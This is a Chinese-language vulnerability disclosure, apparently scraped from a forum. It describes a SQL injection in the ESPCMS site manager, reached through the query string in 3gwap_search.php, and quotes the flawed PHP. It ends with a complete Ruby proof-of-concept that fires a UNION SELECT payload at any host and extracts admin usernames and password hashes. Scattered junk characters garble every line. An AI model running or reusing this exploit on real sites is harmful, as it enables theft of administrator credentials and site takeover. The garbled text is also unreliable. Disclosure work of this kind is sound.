0×0 漏洞概述0×1 漏洞细节
5 g V* N+ d8 { J" O8 w# c& \0×2 PoC
8 {2 l* g. |& \( n8 V' k! I
! O0 i+ A) r! x/ e5 x5 K( i5 y* i/ ~2 S( j d( H P
$ v1 E: V7 v; M& n4 }
0×0 漏洞概述
* W9 P/ o7 y! C# _
9 v5 h6 G1 W" p( K5 U( C易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
* v. k) }! X% k3 A. R* R" }其在处理传入的参数时考虑不严谨导致SQL注入发生
) Z: y: ]7 g: _% h6 s+ `1 Q
1 ?! y8 C0 I. a9 {1 s' a; ?! u3 z `* N
0×1 漏洞细节+ V( A- ~" d' c6 g' w3 O0 p5 ?; ]
" l; _$ h. y; [$ K z3 N: |9 g
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。: q( F% K# h+ a6 }
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。/ T* i, _) ]: c% W/ P
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。( }$ f+ c0 I. \& J* h
' H4 ?0 I# B `( U3 E. K5 u: S" \
在/interface/3gwap_search.php文件的in_result函数中:3 O5 W# Y2 c2 B9 H% I" V2 o2 L
, e# i9 i7 Z& K8 P& U9 v7 o
+ A. L* V5 ~- e9 c. W, ]$ f* C! N% ]2 f$ z; R0 |; {. X" v
function in_result() {
8 b6 q1 Z1 n" P# u ... ... ... ... ... ... ... ... ...
! H) h; q7 |% Q! Z0 Q $urlcode = $_SERVER[ 'QUERY_STRING '];
/ o, a$ C' j2 ]" a parse_str(html_entity_decode($urlcode), $output);
6 }4 w _* T3 O* v% ^4 Q' a' Z% q( l+ V* I8 c0 ]: d4 j
... ... ... ... ... ... ... ... ...( d5 K7 H. @2 [
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
- y' @8 n7 ^+ f2 F* ^6 H5 [& X" y' _; k& P& c& [* V
$db_table = db_prefix . 'model_att';! c1 r* R( Z* i: [* k" U7 z, k
3 ~1 O2 i2 U$ m9 p foreach ($output['attr' ] as $key => $value) {
( G) b% C8 Z! C7 E' m% Q# t. n if ($value) {$ Q: o; S( A0 m# n
5 D7 i4 j; R* E' P. V! D- | $key = addslashes($key);
# w4 r% a+ s. q6 a8 S $key = $this-> fun->inputcodetrim($key);% L/ {* E. [, {3 i
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
/ Q( i: I" S6 ? $countnum = $this->db_numrows($db_table, $db_att_where);
) v6 ?1 I* [ g1 |+ F+ r @ if ($countnum > 0) {
% K& m V" |5 A/ H, H8 k $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;) s/ H) W6 u! \* ]; G
}
! v( m- h& O5 k/ L( w }
4 |) D. u7 \3 l }' b5 D' O3 e/ @& T* i
}
. W+ i1 L A- M# Z g; V if (!empty ($keyword) && empty($keyname)) {
! }. z9 p6 K0 s- u $keyname = 'title';5 M1 ^! z" ?7 `( v: J& d n
$db_where.= " AND a.title like '%$keyword%'" ;! u6 [ A8 n. h" h4 w) D
} elseif (!empty ($keyword) && !empty($keyname)) {
8 l0 t9 |& v% b" s $db_where.= " AND $keyname like '% $keyword%'";% X9 k1 F M/ m, |2 \
}% K0 M4 L) ^% h c2 p. d
$pagemax = 15;! ^8 c) g2 d4 o# f
2 I2 c8 Y& M7 }/ f& x $pagesylte = 1;3 I7 C# ]9 f6 b6 [' K
' B, E& T" e, S3 p
if ($countnum > 0) {1 j! Q: u! @ m5 @7 s
. D/ U0 Y3 a9 j) ~- v C $numpage = ceil($countnum / $pagemax);$ }- B9 c. i6 }) a1 M
} else {
. U5 U- V4 @3 I8 G $numpage = 1;, E! L/ X6 S6 W/ d: N" R2 e
}" m% x/ O( R/ _, Z5 i, d
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
7 e9 i) Z" B6 u& o E $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
3 D4 g- p* P$ Y+ h d+ D$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);$ ]; `; p& c8 D9 X* K/ J( t2 O
... ... ... ... ... ... ... ... ...
' J+ r. ^: d! `0 v }
* B* K% x# L0 P: |2 j
9 w8 n! s$ u/ j4 j0 A) z, k6 s
' f* ~7 T4 b- c$ m5 j* b3 W0×2 PoC+ v# _- z7 ?8 W" R
! z/ ~7 X4 B- r2 c" b, E
# R& S# m2 N6 s# M4 c3 b* x& l- F; ~. u
require "net/http"5 E5 i6 F/ V8 M5 A- O. A) J2 B
3 K9 g4 }) t* U3 p* e1 udef request(method, url)7 ~# ~' L( l; z: |" Y
if method.eql?("get")3 p2 N$ S+ j9 z+ O
uri = URI.parse(url)
, i9 Y' Y6 i+ B2 C% d. ?; A http = Net::HTTP.new(uri.host, uri.port)( Z8 t" q7 T3 h4 D7 b3 P
response = http.request(Net::HTTP::Get.new(uri.request_uri))- A* B) K- l4 d
return response
3 t* }) \0 n# Y t, N end
8 K ]( |8 k' a9 N; K1 N4 `end
' m7 @; k" |3 l/ V
' }- G7 v7 {! z# a$ N8 X$ [7 ~doc =<<HERE- [, K" m) r, v- A; y
-------------------------------------------------------
8 e0 u5 n. }, L, d5 s' VEspcms Injection Exploit9 @0 t4 Q3 H0 F# }
Author:ztz' ~3 N/ p& C5 c, L1 G9 [
Blog:http://ztz.fuzzexp.org/' @$ ~ z0 d! @) u4 y
-------------------------------------------------------
9 x9 G. ]4 Y$ O8 [, k% e; y9 Y ] F+ o! Q
HERE/ q2 t( A0 U* o8 F
8 |9 c! x' A5 E8 Z* q6 m/ i: z
usage =<<HERE. r. t- }3 }* P% Z: K
Usage: ruby #{$0} host port path1 ?3 E3 D1 G( C
example: ruby #{$0} www.target.com 80 /; a9 {' I$ }2 m* X
HERE6 w2 o; h. i$ q8 x
- f' B2 c3 d. [, D) \ ?puts doc
% j2 j" P5 Y7 _4 c- jif ARGV.length < 3
6 q2 I8 w3 J) z5 i, t: ?0 d! m4 ?5 F puts usage
, S& n: c' x( _2 B+ belse
6 f2 ~: t! B" i$ ?7 }0 t $host = ARGV[0]& R' [4 \; K, F! H! l# O/ Q; v
$port = ARGV[1]
; R5 ]! S+ y& o5 r $path = ARGV[2]9 D; v6 B* [4 U. b! Q
' I' b4 L' G: e* Z0 q1 X8 N$ O6 G g
puts "send request..."7 P0 Z/ X7 Z( |
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
$ h, c" {5 z0 R# Z# J5 u' D1 Jattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
/ T& b4 [7 ~. _" H2 G8 V5 i,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27& `9 ]7 C; F% H- ~
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
$ Y* ]7 x5 M$ ]* Z9 a; [9 L response = request("get", url), j8 e! r9 s; E* i& @, E% H |1 E4 G" {
result = response.body.scan(/\w+&\w{32}/)( ?5 {% k) T+ a% d8 T" j
puts result5 F7 Q; f( E) {6 e) O
end# E& X' {4 T3 S7 Q* g% |
0 n+ h) c, I) ?) \
|